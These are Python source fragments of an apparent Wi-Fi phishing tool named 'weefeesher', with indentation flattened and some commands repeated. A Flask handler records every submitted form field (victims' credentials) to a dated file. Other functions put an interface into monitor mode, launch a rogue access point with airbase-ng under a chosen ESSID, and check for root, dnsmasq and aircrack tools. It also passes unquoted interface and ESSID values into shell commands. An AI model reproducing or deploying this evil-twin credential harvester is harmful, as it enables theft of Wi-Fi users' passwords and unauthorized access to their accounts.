def index(): if request.method == 'POST': data = request.form for key in data.keys(): for value in data.getlist(key): Logger.userinfo("%s : %s" % (key, value)) with open('weefeesher.%s.txt' % str(datetime.date.today()), 'a+') as fd: fd.write('[%s] %s\n' % (key, value)) with open('weefeesher.%s.txt' % str(datetime.date.today()), 'a+') as fd: fd.write('\n') return render_template('index.html')
def launch_ap(iface, essid): Logger.info('Shutting down phishing interface %s' % iface) subprocess.call('ip link set %s down' % iface, shell=True, executable="/bin/bash") subprocess.call('ip link set %s down' % iface, shell=True, executable="/bin/bash") subprocess.call('ip link set %s down' % iface, shell=True, executable="/bin/bash") subprocess.call('iw %s set type monitor' % iface, shell=True, executable="/bin/bash") subprocess.call('iw %s set type monitor' % iface, shell=True, executable="/bin/bash") subprocess.call('iw %s set type monitor' % iface, shell=True, executable="/bin/bash") subprocess.call('ip link set %s up' % iface, shell=True, executable="/bin/bash") subprocess.call('ip link set %s up' % iface, shell=True, executable="/bin/bash") subprocess.call('ip link set %s up' % iface, shell=True, executable="/bin/bash") Logger.info('Launching rogue access point...') subprocess.Popen('airbase-ng --essid %s -I 60 %s &> /dev/null' % (essid, iface), shell=True, executable="/bin/bash") time.sleep(2) subprocess.call('ip addr add 192.168.10.1/24 dev at0', shell=True, executable="/bin/bash")
def signal_handler(signal, frame): global phishing_iface global dns Logger.info('Shutting down rogue AP') subprocess.call('pkill -9 airbase-ng', shell=True) Logger.info('Up wireless interface') subprocess.call('ip link set %s up' % phishing_iface, shell=True, executable="/bin/bash") subprocess.call('ip link set %s up' % phishing_iface, shell=True, executable="/bin/bash") subprocess.call('ip link set %s up' % phishing_iface, shell=True, executable="/bin/bash") Logger.info('Restoring iptables rules') restore_iptables() dns.kill() dns.restore() Logger.info('Bye !') sys.exit(0)
def check_requirements(): user = subprocess.check_output('whoami', shell=True, executable="/bin/bash")[:-1] if user != 'root': Logger.error("Please launch this program as root") sys.exit(0) dnsmasq = subprocess.call('which dnsmasq &> /dev/null', shell=True, executable="/bin/bash") if dnsmasq: Logger.error("Please install dnsmasq") sys.exit(0) airbase = subprocess.call('which airbase-ng &> /dev/null', shell=True, executable="/bin/bash") if airbase: Logger.error("Please install aircrack suite, especially airbase-ng") sys.exit(0)
def kill(self): Logger.info('Killing dnsmasq instance') subprocess.call('killall -9 dnsmasq &> /dev/null', shell=True, executable="/bin/bash")
def restore(self): Logger.info('Restoring dnsmasq base config file') subprocess.call('[[ -f /tmp/weefeesher.dnsmasq.conf ]] && mv /tmp/weefeesher.dnsmasq.conf /etc/dnsmasq.conf', shell=True, executable="/bin/bash")